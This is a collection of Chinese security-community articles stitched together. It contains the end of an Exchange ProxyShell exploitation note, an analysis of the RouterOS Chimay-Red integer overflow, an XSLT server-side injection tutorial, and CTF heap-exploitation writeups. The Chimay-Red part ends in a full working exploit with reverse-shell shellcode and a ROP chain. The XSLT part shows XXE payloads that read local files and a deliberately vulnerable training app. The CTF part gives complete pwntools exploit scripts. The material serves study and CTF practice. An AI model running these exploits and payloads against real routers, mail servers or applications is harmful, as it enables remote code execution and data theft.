他对比了fqdn以及host来验证是否为ssrf,因此在打了CVE-2021-26855补丁后，我未能成功ssrf，能指定任意target，但是不能绕过到其他位置，会显示Service
Unavailable
因此后面的研究我的环境改为了没打三月份补丁前的机器
参照CVE-2021-34473的利用方式
获取sid并生成token来访问到exchange powershell 并执行命令
也可以搭建Flask 代理到本地执行命令
代码可参考：
<https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py>
需要设置
(1)设置网络位置
不能选择Public network，需要Home network或者Work network。
(2)设置管理员用户的密码
确保管理员用户设置了密码
(3)开启winrm服务
winrm quickconfig
(4)修改allowunencrypted属性
Powershell命令如下：
cd WSMan:\localhost\Client set-item .\allowunencrypted $true dir
(5)设置TrustedHosts
Powershell命令如下：
Get-Item WSMan:\localhost\Client\TrustedHosts Set-Item
WSMan:\localhost\Client\TrustedHosts -Value '*'
以上设置完成后，能够建立PowerShell会话并执行Exchange PowerShell命令。
以上仅供参考学习 | 社区文章 |
# Chimay-Red：RouterOS Integer Overflow Analysis
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Larryxi@360GearTeam
## 0x00 前言已近
之前在咱们360SRC的IoT安全人才培养计划中，给同学们布置过的Chimay-Red分析任务终究是要还的，其本质上是一个RouterOS的整数溢出漏洞，通过堆叠线程栈空间内容获取代码控制权。早期BigNerd95在[Github](https://github.com/BigNerd95/Chimay-Red)上以PoC的形式对此漏洞有所分析，随后Dayton在[博客](https://blog.seekintoo.com/chimay-red.html)上进行了详细的描述与完善。这篇文章在二者的基础上完成漏洞分析，主要关注一些自我疑问的细节，最后构造新的ROP完成漏洞利用。
## 0x01 环境逆向
RouterOS
6.38.4的/nova/bin/www程序中，main函数调用pthread_attr_setstacksize设置线程栈空间大小为0x20000：
交叉引用全局变量threadAttr可知，在Looper::scheduleJob中对每一个新连接调用pthread_create生成新线程处理：
建立2个对/jsproxy的HTTP请求连接，在Request::parseMethod解析请求方法处下断点，可以看到www为线程独自分配的栈空间：
与第2个线程相比，其栈空间的地址大小间隔确为0x20000，且紧邻着向低地址开辟新线程的栈空间，系统为新线程分配的栈空间的探讨内容可见[此处](https://stackoverflow.com/questions/44858528/where-are-the-stacks-for-the-other-threads-located-in-a-process-virtual-address)：
pstree可知系统服务程序均为/nova/bin/loader生成，在loader程序中由nv::Runner::onSignal实现对崩溃服务的监控和重启，但其过程是否花费精确的3秒还需大佬指点：
## 0x02 漏洞原理
通过BinDiff或者[PoC](https://github.com/BigNerd95/Chimay-Red/blob/master/POCs/CrashPOC.py)中对Content-Length的交叉引用，可知漏洞点出在www程序中的Request::readPostData函数：
1. 调试可知程序在处理POST请求时，由/nova/lib/www/jsproxy.p的JSProxyServlet::doPost处理，且传入Request::readPostData的a3参数为0，故不会进入上图16行逻辑：
2. 17行的alloca函数在栈上开辟存储空间，并被内联汇编为sub esp, reg：
3. 18行调用 istream::read ，向相减后的栈地址处存储长度为content_length的http body。
综上，eax是我们可控的http header
content_length值，sub操作前并未做相关校验或过滤，而线程的栈空间大小是固定值0x20000，故此处存在整数溢出。意即content_length值大于线程栈空间大小时，相减可使esp指向低地址处的其他线程的栈空间，在接收数据后向下溢出其他线程栈空间中保存的返回地址，获取程序控制权，构造逻辑如下：
上图中有三点需要注意：
1. 虽然在`alloca`过程中有`content_length_value += 0x10`操作，但Step A和B中两个线程均会根据`Content-Length`进行`alloca`，最后在计算间隔时两者所的加0x10可相互抵消。
2. [StackClash_x86.py](https://github.com/BigNerd95/Chimay-Red/blob/master/StackClash_x86.py)中的`ALIGN_SIZE = 0x10`并不是对齐作用，而是`istream::read`压入的4个参数长度，公式演算可加深大家的理解：
thread1_send_header = 0x20000 + thread2_send_header + 0x14 + thread1_send_body
thread1_content_length + 0x10 = 0x20000 + thread2_content_length + 0x10 + 0x14 + thread1_send_body
RET_ADDR_SIZE + READ_ARG_SIZE = 0x4 + 0x10
SRACK + ROP + SKIP = 0x20000 + ROP + (RET_ADDR_SIZE + READ_ARG_SIZE) + (SKIP - 0x14)
3. Step C thread 1 向下写数据覆盖 thread 2的返回地址后，可继续向下覆盖为构造的ROP；或者将返回地址覆盖为`ppppr`，保留` istream::read `参数后跳转至Step D中thread 2存储的ROP（线程是有自有寄存器的，此脑洞思路可以接力ROP，但thread 1无法和thread 2共享pop出的` istream::read `参数，也就无法从栈上`strncpy`拷贝shellcode至堆上）。
[Release 6.38.5](https://mikrotik.com/download/changelogs#show-tab-tree_1-id-e06d147a0be32029e18acff2f5009096)完成了对此漏洞的修复，首先在调用
Request::readPostData 时指定最大读取长度为0x20000：
如果Content-Length值小于等于stacksize，使用string类型变量resize长度并接收数据：
## 0x03 漏洞利用
既然可以覆盖返回地址，ROP链的构造就老生常谈了，借助之前[CVE-2018-7554](https://larry.ngrep.me/2019/05/01/routeros-smb-rce-cve-2018-7554-analysis/)的利用思路，在vdso中寻找gadget完成对mprotect的调用：
由于程序brk分配的堆地址不变，添加权限后跳转至保存在heap上的http header，执行其中的shellcode即可反弹shell：
修改[StackClashPOC.py](https://github.com/BigNerd95/Chimay-Red/blob/master/POCs/StackClashPOC.py)先crash
www程序，令其重启初始化环境，发送的ROP为mprotect后跳至固定堆地址执行shellcode，完整代码如下：
#!/usr/bin/env python3
# Mikrotik Chimay Red Stack Clash POC by BigNerd95
# tested on RouterOS 6.38.4 (x86)
# AST_STACKSIZE = 0x20000 (stack frame size per thread)
# ASLR enabled on libs only
# DEP enabled
import socket, time, sys, struct
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b '\x00' -f python -v shellcode
shellcode = ""
shellcode += "\xbb\xc8\xd7\xb2\x5c\xdb\xde\xd9\x74\x24\xf4\x58"
shellcode += "\x33\xc9\xb1\x12\x31\x58\x12\x03\x58\x12\x83\x08"
shellcode += "\xd3\x50\xa9\xb9\x07\x63\xb1\xea\xf4\xdf\x5c\x0e"
shellcode += "\x72\x3e\x10\x68\x49\x41\xc2\x2d\xe1\x7d\x28\x4d"
shellcode += "\x48\xfb\x4b\x25\x8b\x53\x93\xd0\x63\xa6\xe4\x0b"
shellcode += "\x28\x2f\x05\x9b\xb6\x7f\x97\x88\x85\x83\x9e\xcf"
shellcode += "\x27\x03\xf2\x67\xd6\x2b\x80\x1f\x4e\x1b\x49\xbd"
shellcode += "\xe7\xea\x76\x13\xab\x65\x99\x23\x40\xbb\xda"
def p32(x):
return struct.pack('I', x)
def makeHeader(num):
header = b""
header += b"POST /jsproxy HTTP/1.1\r\n"
header += b"User-Agent: " + bytes(shellcode, 'latin') + b"\r\n"
header += b"Content-Length: " + bytes(str(num), 'ascii') + b"\r\n\r\n"
return header
def makeSocket(ip, port):
s = socket.socket()
try:
s.connect((ip, port))
except:
print("Error connecting to socket")
sys.exit(-1)
print("Connected")
time.sleep(0.5)
return s
def socketSend(s, data):
try:
s.send(data)
except:
print("Error sending data")
sys.exit(-1)
print("Sent")
time.sleep(0.5)
def stackClash(ip):
# 1) Start 2 threads
# open 2 socket so 2 threads are created
s1 = makeSocket(ip, 80) # socket 1, thread A
s2 = makeSocket(ip, 80) # socket 2, thread B
# 2) Stack Clash
# 2.1) send post header with Content-Length 0x20900 to socket 1 (thread A)
socketSend(s1, makeHeader(0x20900)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
# 2.2) send 0x700-0x14 bytes as post data to socket 1 (thread A)
socketSend(s1, b'A'*(0x700-20)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
# 2.3) send post header with Content-Length 0x200 to socket 2 (thread B)
socketSend(s2, makeHeader(0x200)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
# 3) Send ROP chain
# send 4 byte to socket 1 (thread A) to overwrite a return address of a function in thread B
# socketSend(s1, struct.pack('<L', 0x13371337)) # [ROP chain addresses start here]
# add here your ROP chain addresses
rop = b""
rop += p32(0x0805212d) # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x0805d000) # ebx -> addr for mprotect
rop += p32(0x90909090) # esi -> junk
rop += p32(0x90909090) # edi -> junk
rop += p32(0x90909090) # ebp -> junk
rop += p32(0x0804fb48) # pop eax ; ret
rop += p32(0x7d) # eax -> mprotect systemcall
rop += p32(0xffffe425) # pop edx ; pop ecx ; ret
rop += p32(0x7) # edx -> prot for mprotect
rop += p32(0xe000) # ecx -> len for mprotect
rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
rop += p32(0x90909090) # ebp -> junk
rop += p32(0x90909090) # edx -> junk
rop += p32(0x90909090) # ecx -> junk
rop += p32(0x08061c28) # addr for shellcode in heap
socketSend(s1, rop)
# 4) Start ROP chain
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
def crash(ip):
print("Crash...")
s = makeSocket(ip, 80)
socketSend(s, makeHeader(-1))
socketSend(s, b'A' * 0x1000)
s.close()
time.sleep(2.5) # www takes up to 3 seconds to restart
if __name__ == "__main__":
if len(sys.argv) == 2:
crash(sys.argv[1])
stackClash(sys.argv[1])
else:
print("Usage: ./StackClashPOC.py IP")
## 0x04 反思总结
1. 我这里使用静态的固定堆地址不太完美，可以尝试使用某种堆喷的操作。
2. 分析只是了解程序的攻击面，漏洞利用是细节的一方面，但漏洞挖掘才是真正的差异化、无解的生产力。
3. 祝同学们新年快乐。 | 社区文章 |
# 解析XSLT服务器端注入攻击
##### 译文声明
本文是翻译文章，文章原作者 David Turco，文章来源：contextis.com
原文地址：<https://www.contextis.com/blog/xslt-server-side-injection-attacks>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](https://www.anquanke.com/member/118146)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 写在前面的话
可扩展样式表转换语言（XSLT）漏洞可以给受影响的应用程序带来严重的安全隐患，一般来说，这种漏洞将允许攻击者在目标设备上实现远程代码执行。目前已公开的XSLT远程代码执行漏洞可利用样本有[CVE-2012-5357](https://technet.microsoft.com/library/security/msvr12-016)（影响.Net
Ektron CMS）、[CVE-2012-1592](http://seclists.org/bugtraq/2012/Mar/110)（影响Apache
Struts
2.0）和[CVE-2005-3757](http://www.cvedetails.com/cve/cve-2005-3757)（影响Google搜索工具）。
从上面这几个漏洞样本中我们可以看到，XSLT漏洞已经存在已久了，虽然它不像XML注入、SQL注入或XSS漏洞一样常见，但是我们经常能够在安全审计的过程中发现这种漏洞。不过，目前还没有多少人真正了解针对这种漏洞的利用技术。
在这篇文章中，我们将跟大家分享一些针对XSLT的攻击案例，并让大家了解到这项技术的安全缺陷。简而言之，这种类型的漏洞将允许攻击者实现远程代码执行、从远程系统中窃取数据、执行网络扫描、访问目标用户内部网络资源等恶意活动。
除此之外，我们还提供了一个包含了相关XSLT漏洞的简单应用，并在文章结尾给出了针对此漏洞的缓解方案。
## XSLT是什么？
XSL（可扩展样式表语言）是一种用于转换XML文档的语言，XSLT表示的就是XSL转换，而XSL转换指的就是XML文档本身。转换后得到的一般都是不同的XML文档或其他类型文档，例如HTML文档、CSV文件以及明文文本文件等等。
一般来说，应用程序或模板引擎在处理不同文件类型时需要使用XSLT来进行数据转换。很多企业级应用比较喜欢使用XSLT，比如说，多用户发票应用程序可以使用XSLT来允许客户自定义它们的发票，客户可以根据自己的需求来修改发票信息以及格式。
其他常见应用：
1\. 报告功能
2\. 多种格式的数据导出功能；
3\. 数据打印和输出功能；
4\. 电子邮件；
在介绍攻击技术之前，我们先来看一看数据转换的实例。下面这个XML文件包含有多个水果名称（fruits）以及相关描述：
<?xml version="1.0" ?>
<fruits>
<fruit>
<name>Lemon</name>
<description>Yellow and sour</description>
</fruit>
<fruit>
<name>Watermelon</name>
<description>Round, green outside, red inside</description>
</fruit>
</fruits>
接下来，我们可以使用下面这种XSL转换技术来将XML文档转换为明文文本文件：
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
转换之后的明文文本文件内容如下：
Fruits:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
##
## 利用XSLT服务器端注入漏洞
在这一部分，我们将跟大家介绍如何发现并利用应用程序中的XSLT漏洞。下面的样本使用了微软的System.Xml
XSLT实现，不过类似的技术也应用到了很多类似Libxslt、Saxon和Xalan等常见代码库上。
## 寻找漏洞切入点
首先我们需要识别出应用程序包含漏洞的部分，一般来说这种漏洞会存在于应用程序允许上传任意XSLT文件的地方。除此之外，如果应用程序存在这种漏洞的话，它很可能会使用不受信任的用户输入来动态生成XSL转换后的XML文档。
比如说，应用程序可以生成下列XSLT文档，而字符串“Your Company Name Here”来自于不受信任的用户输入。
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Your Company Name Here
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
为了确认应用程序是否存在这个漏洞，我们可以向其注入一些类似双引号、单引号以及破折号等特殊字符，因为这类字符可以让XML文档中的语句失效。如果服务器返回了错误，那么这个应用就很有可能存在漏洞。需要注意的是，这种方法同样适用于XML注入漏洞。
为了方便演示，我们假设下面给出的样本允许我们提交任意XSLT文档。
## system-property()函数
不同的代码库所实现的XSLT功能也不同，代码库A实现了的功能代码库B不一定会实现，而且就算实现的是相同的功能，不同代码库的实现方式也不同。一般来说，旧版本的代码库默认会开启很多危险的功能，而新版本代码库的很多功能往往需要开发人员去手动开启。
我们可以使用system-property()函数来查看代码库的开发者名称，该功能符合XSLT v1.0标准，所有的代码库都实现了这种功能。
有效参数：
xsl:vendor
xsl:vendor-url
xsl:version
下列转换可以用来确定代码库的开发者（vendor）：
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
由于我们的测试目标使用的是Microsoft .Net System.xml实现，因此返回的结果为“Microsoft”：
Microsoft
##
## XXE与数据提取
除了常见的XML攻击之外，XXE攻击同样可以影响XSLT。在下面的样本中，我们使用一个外部实体读取出了“C:\secretfruit.txt”文件的内容：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
ENTITY元素将文件内容存储在了“ext_file”引用中，随后我们可以用“&ext_file;”语句将内容存储在了主文档中。输出数据则包含了文件中的秘密内容（“Golden
Apple”）：
Fruits Golden Apple:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
这项技术可以用来远程获取存储在本地Web服务器中的文件内容，这些文件可以是包含了凭证数据的配置文件或者是包含了敏感信息的文件等等。除此之外，攻击者还可以通过UNC
(\\\servername\share\file)路径或者URL (http://servername/file)来获取目标内部网络系统中托管的文件。
## Import和Include
import和include标签可以用来合并多个XSLT文档，如果我们只能在XSLT文档中间注入内容的话，我们也许就不能直接使用XML外部实体（XXE）攻击或脚本来进行攻击了，因为这些攻击技术要求我们在文档头部实现内容注入。
我们还是使用之前那个XSLT文档来进行演示：
<?xml version=”1.0” encoding=”utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Your Company Name Here
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
我们需要include下面这个名为“external_transform.xslt”的外部XSLT文件：
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Hello from the external transformation
</xsl:template>
</xsl:stylesheet>
为了include外部文档，我们需要注入下列标签：
<xsl:include href="external_transform.xslt"/>
但是这里有一个问题，即“xsl:include”标签无法包含在一个“xsl:template”标签中，而且生成的文件必须是XML文档。
因此，我们首先需要闭合“xsl:template”标签，然后添加“xsl:include”标签，最终的Payload如下：
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
注入完成之后，生成的XSLT文档如下：
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
转换结果如下：
Hello from the external transformation
注：在XXE和document()函数的帮助下，“include”和“import”标签同样可以用来进行提取数据以及端口扫描等操作。
## 可用于测试XSLT漏洞的App
为了给大家提供一种快速测试Payload的方法，我们专门开发了一款包含XSLT漏洞的小型.Net应用，这款应用使用了.Net的System.Xml实现。
下面给出的是应用的源代码，你可以使用Microsoft Visual
Studio对其进行编译。应用程序的源代码以及编译版本可点击【[这里](https://github.com/ctxis/VulnerableXsltConsoleApplication)】获取。源代码如下:
using System;
using System.Xml;
using System.Xml.Xsl;
namespace XsltConsoleApplication
{
class Program
{
/*
This code contains serious vulnerabilities and is provided for training purposes only!
DO NOT USE ANYWHERE FOR ANYTHING ELSE!!!
*/
static void Main(string[] args)
{
Console.WriteLine("\n#####################################################################");
Console.WriteLine("# #");
Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection #");
Console.WriteLine("# #");
Console.WriteLine("#####################################################################\n");
Console.WriteLine("The application expects (in the current working directory):");
Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n");
Console.WriteLine("===================================================================");
String transformationXsltFileURI = "transform.xslt";
String dataXMLFileURI = "data.xml";
// Enable DTD processing to load external XML entities for both the XML and XSLT file
XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings();
vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse;
vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver();
XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings);
XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings);
XsltSettings vulnerableSettings = new XsltSettings();
// Embedded script blocks and the document() function are NOT enabled by default
vulnerableSettings.EnableDocumentFunction = true;
vulnerableSettings.EnableScript = true;
// A vulnerable settings class can also be created with:
// vulnerableSettings = XsltSettings.TrustedXslt;
XslCompiledTransform vulnerableTransformation = new XslCompiledTransform();
// XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols
XmlUrlResolver vulnerableResolver = new XmlUrlResolver();
vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);
XmlWriter output = new XmlTextWriter(Console.Out);
// Run the transformation
vulnerableTransformation.Transform(vulnerableXmlReader, output);
}
}
}
注：该应用要求当前工作目录中存储data.xml和transformation.xslt文件。
## 缓解方案
如果你的应用程序使用了XSLT，那我建议你可以考虑以下缓解方案：
1\. 尽可能避免用户提供的XSLT文档；
2\. 不要使用不受信任的输入来生成XSLT文档，例如拼接的字符串。如果你需要使用非静态值，你可以选择从XML数据文件或者XSLT文档中获取。
3\. 禁用XSLT代码库实现的所有危险功能，因为代码库的默认配置通常都是不安全的。确保禁用嵌入式脚本扩展，以及其他允许读写外部文件的专用扩展。
如果你想了解更多关于热门XSLT代码库的功能以及相应的默认配置，可以参考Emanuel Duss 和Roland
Bischofberger发布的文档【[参考文献](https://www.owasp.org/images/a/ae/OWASP_Switzerland_Meeting_2015-06-17_XSLT_SSRF_ENG.pdf)】。
## 总结
对于很多应用程序来说，XSLT虽然是一种功能强大的工具，但它也有很多不为人知的弱点。不良的编码习惯将有可能让应用程序出现安全漏洞，而这些漏洞将有可能允许攻击者远程控制你的应用程序并从中提取数据。 | 社区文章 |
# 第四届”强网“拟态防御国际精英挑战赛初赛Writeup(Pwn部分)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、写在前面
第四届“强网”拟态防御国际精英挑战赛初赛于10月25日早9：00圆满结束，本人参加了这次比赛的初赛。在比赛中我负责Pwn部分的题目，比赛结束时一共完成了六道题目。在这里将我的writeup分享给大家。
本次Pwn一共有8道题目，sonic和oldecho本人没有负责解答。
文章对应赛题链接：
链接：https://pan.baidu.com/s/1UA8DQh8OcZ5KCB7vyPeCBg
提取码：7b8d
参考资料：https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_einherjar.c
## 二、write up
### 1、bitflip
程序edit功能中存在offbyone漏洞。程序有一个1638的特殊功能，但可以不进行利用。直接使用offbyone利用方式进行利用即可。
from pwn import *
from time import *
libc = ELF('/home/wbohan/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')
#p=process('./bitflip')
p=remote('124.71.130.185',49153)
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
def alloc(index,size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(size))
def edit(index,content):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
p.send(content)
def show(index):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
def free(index):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
def magic(address):
p.recvuntil('choice: ')
p.sendline('1638')
p.recvuntil('Address: ')
p.send(str(address))
alloc(1,0x18)
alloc(3,0x48)
alloc(4,0x48)
alloc(5,0x48)
alloc(6,0x48)
alloc(7,0x48)
alloc(8,0x48)
alloc(9,0x48)
alloc(10,0x48)
alloc(11,0x48)
alloc(12,0x48)
edit(5,p8(0) * 0x48 +p8(0xa1))
edit(6,p8(0) * 0x48 +p8(0xa1))
edit(7,p8(0) * 0x48 +p8(0xa1))
edit(8,p8(0) * 0x48 +p8(0xa1))
edit(9,p8(0) * 0x48 +p8(0xa1))
edit(10,p8(0) * 0x48 +p8(0xa1))
edit(11,p8(0) * 0x48 +p8(0xa1))
edit(12,p8(0) * 0x48 +p8(0xa1))
edit(1,p8(0) * 0x18 + p8(0xa1))
alloc(13,0x18)
for i in range(6,13):
free(i)
free(3)
alloc(3,0x48)
show(4)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x7ffb7398cca0 + 0x7ffb735a1000
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['realloc']
alloc(20,0x48)
free(20)
edit(4,p64(malloc_hook - 0x10))
p.sendline('\n')
alloc(20,0x48)
alloc(21,0x48)
edit(21,p64(0) + p64(one_gadget[2] + libc_base) + p64(realloc_hook+6))
p.sendline('\n')
log.success(hex(libc_base))
#gdb.attach(p)
#pause()
p.sendline('1')
p.sendline('30')
p.sendline('15')
p.interactive()
### 2、old_school_revenge
本题是old_school的加强版，但是难度并没有增加多少，edit功能中存在漏洞，offbyone变成了offbynull。将tcache填满后再得到unsorted
bin泄露libc地址构造fakechunk到malloc_hook上用onegadget来getshell。
from pwn import *
#p=process('./old_school_revenge')
p = remote('123.60.63.39',49153)
libc = ELF('/home/wbohan/Desktop/libc-2.27.so')
#libc = ELF('/home/wbohan/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
#p = remote('121.36.194.21',49153)
def alloc(index,size):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Index')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(size))
def edit(index,content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
p.sendline(content)
def show(index):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
def free(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
alloc(1,0x18)
alloc(2,0x100)
alloc(3,0x80)
alloc(4,0x10)
edit(2,p8(0) * 0xf0 + p64(0x100))
for i in range(9,16):#tcache 0x110 full
alloc(i,0x100)
for i in range(9,16):
free(i)
free(2)
edit(1,p8(0) * 0x18)
alloc(2,0x80)
alloc(5,0x40)
for i in range(9,16):#tcache 0x90 full
alloc(i,0x80)
for i in range(9,16):
free(i)
free(2)
free(3)
for i in range(9,16):#tcache 0x90 clear
alloc(i,0x80)
alloc(2,0x80)
for i in range(9,16):#tcache 0x90 full
free(i)
show(5)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x7f2d11a70ca0 + 0x7f2d11685000
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['realloc']
for i in range(9,16):#tcache 0x110 clear
alloc(i,0x100)
alloc(7,0x100)
free(7)
edit(5,p64(malloc_hook - 0x10))
alloc(7,0x100)
alloc(8,0x100)
edit(8, p64(0) + p64(one_gadget[2] + libc_base) + p64(realloc_hook + 2))
free(4)
#gdb.attach(p)
#pause()
alloc(4,0x10)
p.interactive()
### 3、old_school
offbyone模板题，将tcache填满后再得到unsorted
bin泄露libc地址构造fakechunk到malloc_hook上用onegadget来getshell。
from pwn import *
p=process('./old_school')
libc = ELF('/home/wbohan/Desktop/libc-2.27.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
p = remote('121.36.194.21',49153)
def alloc(index,size):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Index')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(size))
def edit(index,content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
p.sendline(content)
def show(index):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
def free(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
'''
alloc(10,0x88)
alloc(11,0x18)
alloc(12,0x88)
alloc(13,0x10)
alloc(14,0x88)
alloc(15,0x10)
for i in range(7):
alloc(i,0xd8)
for i in range(7):
free(i)
for i in range(7):
alloc(i,0x88)
for i in range(7):
free(i)
edit(11,p64(0)*3 + p8(0xe1))
free(12)
'''
alloc(10,0x88)
alloc(11,0x18)
alloc(12,0x88)
alloc(13,0x88)
edit(11,p64(0) * 3 + p8(0xb1))
free(12)
alloc(12,0xa8)
for i in range(7):
alloc(i,0x88)
for i in range(7):
free(i)
free(13)
edit(12,'a' * 0x90)
show(12)
p.recvuntil('a' * 0x90)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr + 0x7f74e30b9000 - 0x00007f74e34a4c0a
realloc_hook = libc_base + libc.sym['realloc']
malloc_hook = libc_base + libc.sym['__malloc_hook']
print(hex(libc_base))
print(hex(malloc_hook))
edit(12,'\x00' * 0x88 + p64(0x91))
for i in range(7):
alloc(i,0x88)
edit(6,'aaaa')
free(13)
alloc(13,0x88)
free(13)
edit(12,'\x00' * 0x88 + p64(0x91) + p64(malloc_hook - 8))
alloc(14,0x88)
alloc(15,0x88)
edit(15,p64(one_gadget[2] + libc_base) + p64(realloc_hook + 2))
#gdb.attach(p)
#pause()
alloc(16,0x10)
p.interactive()
### 4、random_heap
每次申请的堆块大小都会被随机加入一个0x10 * a的大小。其中a = rand & 0xF。共有16种值。漏洞是uaf。思路：tcache
bin中的堆块其bk会指向tcache结构，可以首先泄露出tcache的地址。然后去使用tcache perthread
corruption的方式控制tcache结构。这就需要利用tcache bin
attack。先申请一个大于等于0x80大小的堆块将它释放到tcache中，然后利用uaf去修改fd指针为tcache的值。再申请两次同样大小的堆块就可以去得到分配到tcache的堆块。虽然我们不知道每个堆块的大小。但我们可以知道tcache中的头部存的是每个tcache
bin中的堆块数目。所以如果一个堆块分配到tcache中了，那么它内部肯定是有数据的，但是其他的堆块中却没有数据（为0）.所以说可以通过一个字节一个字节的填充读入去判断堆块中是否有多余的数据，如果有的话说明成功将堆块分配到了tcache中。得到了一个tcache堆块后，为了之后利用方便，可以把tcache首部全部填充为7，这样就让系统认为所有的tcache都满了，然后在申请一个大小大于0x80的堆块释放就是unsorted
